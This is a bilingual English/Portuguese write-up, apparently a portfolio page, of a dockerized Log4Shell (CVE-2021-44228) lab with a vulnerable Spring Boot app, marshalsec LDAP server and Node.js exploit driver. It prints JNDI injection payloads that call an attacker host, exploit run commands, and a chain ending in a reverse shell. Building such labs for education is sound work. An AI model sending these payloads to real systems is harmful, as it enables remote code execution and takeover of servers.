joaovicdev
exploitexploitCVE-2021-44228

CVE-2021-44228: Log4Shell RCE — end-to-end PoC labCVE-2021-44228: RCE do Log4Shell — lab de PoC ponta a ponta

A dockerized Log4Shell lab — vulnerable Spring Boot + Log4j 2.14.1 app, a marshalsec LDAP + HTTP payload server, and a Node.js exploit that drives JNDI injection all the way to remote code execution.Um lab dockerizado do Log4Shell — aplicação Spring Boot vulnerável com Log4j 2.14.1, um servidor de payload LDAP + HTTP com marshalsec, e um exploit em Node.js que conduz a injeção JNDI até a execução remota de código.

Proof of concept on GitHubProva de conceito no GitHub

Authorization: this is a self-contained lab built for education and security research. All traffic stays inside an isolated Docker network. Do not point it at systems you don't own or aren't explicitly authorized to test — misuse can be a crime.

Summary

Log4Shell (CVE-2021-44228) is a critical CVSS 10.0 remote code execution bug disclosed in December 2021 in Apache Log4j 2, one of the most widely deployed logging libraries in the Java ecosystem. A single attacker-controlled string, logged anywhere by a vulnerable application, is enough to make the server fetch and execute remote Java code.

This repository is a full attacker-and-victim lab: a deliberately vulnerable Spring Boot service, the attacker infrastructure that serves the malicious class, and a Node.js exploit that fires the payload and lands a reverse shell — all wired together with Docker Compose so the whole chain runs on one machine.

How the vulnerability works

Log4j supports message interpolation: when it logs a string, it evaluates ${...} expressions at runtime. ${java:version}, for example, is replaced with the running JVM version.

The problem is that this interpolation also resolves JNDI (Java Naming and Directory Interface) lookups. When Log4j logs a value like:

${jndi:ldap://attacker.com/Exploit}

it tells the JVM to perform an LDAP query to the attacker's server. That server replies with a reference to a remote Java class, and a vulnerable JVM will download and instantiate that class — turning a log line into arbitrary code execution.

The attack surface is enormous because the trigger just has to be logged. Any field the application records — HTTP headers, form fields, cookies, usernames — becomes an injection point.

Affected versions

Log4j 2Status
2.0-beta9 – 2.14.1Vulnerable
2.15.0First fix (still had follow-up issues)
2.17.0Definitively fixed

The lab

Vulnerable application

ComponentVersionWhy it's exploitable
Apache Log4j2.14.1Evaluates ${jndi:...} lookups with no restrictions
JDK1.8.0_181Predates 8u191, which set com.sun.jndi.ldap.object.trustURLCodebase=false
Spring Boot2.5.6Just the web framework — the bug lives entirely in Log4j

The JDK version matters as much as the Log4j version: on 8u191+ the JVM refuses to load remote codebases over LDAP by default, so the classic "serve a class over HTTP" path used here needs the older runtime.

The vulnerable endpoint simply logs a few request headers:

GET http://localhost:8080/log

Any of these headers is logged directly by Log4j and works as the injection vector:

  • X-Api-Version
  • User-Agent
  • X-Auth-Token

Attacker infrastructure

ServicePortRole
marshalsec (LDAP)1389Receives the JNDI lookup and redirects it to the HTTP server
Python HTTP server8888Serves the compiled Exploit.class to the victim JVM
netcat listener9001Catches the reverse shell

Exploitation

The exploit injects a JNDI payload into a loggable header and lets Log4j do the rest. With defaults, the injected value is:

${jndi:ldap://attacker:1389/Exploit}

The full chain, once that header is logged:

  1. Injection — the payload lands in the X-Api-Version header of a GET /log request.
  2. Trigger — Log4j interpolates ${jndi:...} and the victim JVM performs an LDAP lookup against attacker:1389.
  3. Redirect — marshalsec answers with a reference pointing at the HTTP server on :8888.
  4. Load & execute — the JVM downloads Exploit.class and runs it, which drops a marker (/tmp/pwned) and dials back a reverse shell.
  5. Shell — the netcat listener on :9001 receives the connection.

The driver is a small Node.js script. It parses the target URL, picks HTTP/HTTPS transport, plants the JNDI string in the chosen header, sends the request, and reports the status — with a 10-second timeout:

exploit/exploit.js — parameters
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
# defaults: http://localhost:8080/log  attacker  1389  Exploit  X-Api-Version

Running it

Prerequisites: Docker, Docker Compose, and Node.js.

1. Bring up the whole environment:

terminal 1
docker-compose up --build

Wait until the logs show the app is ready and the listener is waiting:

[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds

2. Fire the exploit from a second terminal:

terminal 2
node exploit/exploit.js

Expected output:

[*] CVE-2021-44228 — Log4Shell PoC
[*] Target  : http://localhost:8080/log
[*] Header  : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
 
[+] Response : 200 OK
[+] Body     : logged
 
[+] Payload delivered — check the attacker nc listener on port 9001

3. Confirm code execution — watch the reverse shell hit :9001 in the compose logs, and check the marker file the payload dropped inside the victim container:

docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned

Custom parameters let you swap the vector or point at a different LDAP host:

node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"

References

Autorização: este é um lab autocontido, feito para fins educacionais e pesquisa de segurança. Todo o tráfego permanece dentro de uma rede Docker isolada. Não aponte para sistemas que você não possui ou que não está explicitamente autorizado a testar — uso indevido pode ser crime.

Resumo

O Log4Shell (CVE-2021-44228) é uma execução remota de código crítica, CVSS 10.0, divulgada em dezembro de 2021 no Apache Log4j 2, uma das bibliotecas de logging mais difundidas do ecossistema Java. Uma única string controlada pelo atacante, registrada em log em qualquer lugar por uma aplicação vulnerável, basta para fazer o servidor buscar e executar código Java remoto.

Este repositório é um lab completo de atacante e vítima: um serviço Spring Boot propositalmente vulnerável, a infraestrutura do atacante que serve a classe maliciosa, e um exploit em Node.js que dispara o payload e obtém um reverse shell — tudo amarrado com Docker Compose para que a cadeia inteira rode em uma máquina.

Como a vulnerabilidade funciona

O Log4j suporta interpolação de mensagens: ao registrar uma string, ele avalia expressões ${...} em tempo de execução. ${java:version}, por exemplo, é substituído pela versão da JVM em uso.

O problema é que essa interpolação também resolve lookups JNDI (Java Naming and Directory Interface). Quando o Log4j registra um valor como:

${jndi:ldap://attacker.com/Exploit}

ele manda a JVM fazer uma consulta LDAP ao servidor do atacante. Esse servidor responde com uma referência para uma classe Java remota, e uma JVM vulnerável vai baixar e instanciar essa classe — transformando uma linha de log em execução arbitrária de código.

A superfície de ataque é enorme porque o gatilho só precisa ser registrado em log. Qualquer campo que a aplicação grave — cabeçalhos HTTP, campos de formulário, cookies, nomes de usuário — vira um ponto de injeção.

Versões afetadas

Log4j 2Status
2.0-beta9 – 2.14.1Vulnerável
2.15.0Primeira correção (ainda teve problemas)
2.17.0Corrigido definitivamente

O lab

Aplicação vulnerável

ComponenteVersãoPor que é explorável
Apache Log4j2.14.1Avalia lookups ${jndi:...} sem nenhuma restrição
JDK1.8.0_181Anterior à 8u191, que passou a definir com.sun.jndi.ldap.object.trustURLCodebase=false
Spring Boot2.5.6Só o framework web — a falha está inteiramente no Log4j

A versão do JDK importa tanto quanto a do Log4j: a partir da 8u191 a JVM se recusa a carregar codebases remotos por LDAP por padrão, então o caminho clássico de "servir uma classe por HTTP" usado aqui precisa do runtime mais antigo.

O endpoint vulnerável simplesmente registra alguns cabeçalhos da requisição:

GET http://localhost:8080/log

Qualquer um destes cabeçalhos é registrado diretamente pelo Log4j e funciona como vetor de injeção:

  • X-Api-Version
  • User-Agent
  • X-Auth-Token

Infraestrutura do atacante

ServiçoPortaPapel
marshalsec (LDAP)1389Recebe o lookup JNDI e o redireciona ao servidor HTTP
Servidor HTTP Python8888Serve o Exploit.class compilado para a JVM da vítima
Listener netcat9001Recebe o reverse shell

Exploração

O exploit injeta um payload JNDI em um cabeçalho que será logado e deixa o Log4j fazer o resto. Com os valores padrão, o valor injetado é:

${jndi:ldap://attacker:1389/Exploit}

A cadeia completa, uma vez que esse cabeçalho é registrado:

  1. Injeção — o payload chega no cabeçalho X-Api-Version de uma requisição GET /log.
  2. Gatilho — o Log4j interpola ${jndi:...} e a JVM da vítima faz um lookup LDAP contra attacker:1389.
  3. Redirecionamento — o marshalsec responde com uma referência apontando para o servidor HTTP na :8888.
  4. Carga e execução — a JVM baixa o Exploit.class e o executa, o que deixa um marcador (/tmp/pwned) e disca de volta um reverse shell.
  5. Shell — o listener netcat na :9001 recebe a conexão.

O driver é um pequeno script em Node.js. Ele interpreta a URL do alvo, escolhe o transporte HTTP/HTTPS, planta a string JNDI no cabeçalho escolhido, envia a requisição e reporta o status — com timeout de 10 segundos:

exploit/exploit.js — parâmetros
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
# padrões: http://localhost:8080/log  attacker  1389  Exploit  X-Api-Version

Rodando o lab

Pré-requisitos: Docker, Docker Compose e Node.js.

1. Suba o ambiente inteiro:

terminal 1
docker-compose up --build

Espere até os logs mostrarem que a aplicação está pronta e o listener aguardando:

[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds

2. Dispare o exploit em um segundo terminal:

terminal 2
node exploit/exploit.js

Saída esperada:

[*] CVE-2021-44228 — Log4Shell PoC
[*] Target  : http://localhost:8080/log
[*] Header  : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
 
[+] Response : 200 OK
[+] Body     : logged
 
[+] Payload delivered — check the attacker nc listener on port 9001

3. Confirme a execução de código — acompanhe o reverse shell chegando na :9001 nos logs do compose, e confira o arquivo marcador que o payload deixou dentro do contêiner da vítima:

docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned

Parâmetros customizados permitem trocar o vetor ou apontar para outro host LDAP:

node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"

Referências